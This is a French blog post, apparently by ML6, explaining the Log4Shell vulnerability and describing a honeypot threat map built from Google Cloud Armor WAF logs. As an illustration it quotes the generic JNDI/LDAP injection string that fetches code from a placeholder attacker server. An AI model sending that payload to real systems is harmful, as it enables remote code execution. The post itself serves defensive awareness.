Une carte des menaces pour les attaques Log4Shell sur Google Cloud
Log4Shell a mis les équipes de sécurité du monde entier sur le qui-vive. Dans ce billet de blog, nous expliquons comment et pourquoi nous avons créé une carte des menaces en direct sur Google Cloud pour détecter et visualiser les cyberattaques et les exploits de Log4Shell.
La vulnérabilité la plus importante et la plus critique de la dernière décennie.
C'est ainsi qu'est décrite la vulnérabilité de Log4j. Log4j est un package qui est souvent utilisé dans les applications Java pour la journalisation. En bref, la vulnérabilité permet l'exécution de code à distance sur la machine exécutant une application affectée. Les attaquants peuvent le faire simplement en laissant l'application enregistrer une chaîne malveillante qui récupère et exécute une classe java à partir d'un serveur distant contrôlé par l'attaquant. La chaîne malveillante ressemble à quelque chose comme ceci :
${jndi:ldap://[ATTACKER SERVER]/[EXPLOIT FILE]}
Il y a deux raisons pour lesquelles il s'agit de la vulnérabilité la plus importante et la plus critique de la dernière décennie. Premièrement, cette vulnérabilité est très facile à exploiter. Deuxièmement, presque toutes les applications Java utilisent Log4j et sont donc vulnérables à cette exploitation.
Cloud Armor pour détecter et bloquer les exploits de Log4j
Cloud Armor est un pare-feu d'application Web (WAF) qui fait partie de la pile Google Cloud. Lorsqu'il est activé, il permet de protéger les applications déployées sur Google Cloud contre les attaques telles que les attaques DDoS, XSS, SQL Injection, File Inclusion, Remote Code Execution.
L'équipe de Google Cloud est intervenue et a publié une règle WAF qui permet de détecter et de bloquer les tentatives d'exploitation de la vulnérabilité Log4j avant que la requête n'atteigne le backend.
Pour plus d'informations sur son fonctionnement, vous pouvez lire cet excellent article de blog de Google Cloud.
Bien entendu, la mise à jour d'une règle WAF ne suffit pas. La vulnérabilité réelle du paquet doit être corrigée. Mais il s'agit d'un processus fastidieux qui prend beaucoup de temps et qui risque de casser votre application. Cloud Armor vous donne du temps supplémentaire pour corriger les vulnérabilités critiques tout en maintenant la sécurité de vos applications.
Visualisation des journaux de Cloud Armor dans une carte des menaces
Bien sûr, nous sommes allés un peu plus loin... Nous avons déployé un simple pot de miel sur notre environnement Google Cloud afin de visualiser les différents types d'attaques exécutées sur les applications publiques.
Le pot de miel est protégé par des règles Cloud Armor, qui détectent et bloquent les requêtes malveillantes. Les journaux des demandes malveillantes, créés par Cloud Armor, sont ensuite visualisés en temps réel dans ce tableau de bord.
Dans le gif ci-dessous, vous pouvez voir le résultat d'attaques similaires que nous avons exécutées nous-mêmes :
Concernant les attaques réelles : au cours des 7 derniers jours, nous avons enregistré 48 chaînes malveillantes envoyées au pot de miel qui tentaient d'exploiter la vulnérabilité de log4j, provenant de 4 IP distantes distinctes.
Conclusion
La saga de log4shell est mauvaise, mais il faut s'attendre à ce que des problèmes similaires surgissent à l'avenir. Les groupes de pirates sont probablement déjà en train de parcourir les bibliothèques open-source populaires pour trouver la prochaine grande vulnérabilité qui exposera pratiquement toutes les entreprises du monde. Google Cloud Armor est un excellent outil dans votre arsenal pour protéger les applications à la périphérie et atténuer les risques de vulnérabilités de type "zeroday" qui pourraient se cacher dans les bibliothèques open-source.
Pour les équipes de développement, il est important d'être conscient du fait que ces attaques sont très réelles et que les choses peuvent se gâter très rapidement si l'on ne prend pas la sécurité au sérieux.
Chez ML6, la carte des menaces est affichée sur de grands écrans dans les bureaux. Non pas parce qu'elle fournit des renseignements sur les menaces, mais parce qu'elle constitue un excellent outil de sensibilisation pour les équipes techniques. C'est un rappel constant que les menaces sont réelles et que les applications doivent être sécurisées de manière appropriée à chaque étape du cycle de développement et de déploiement.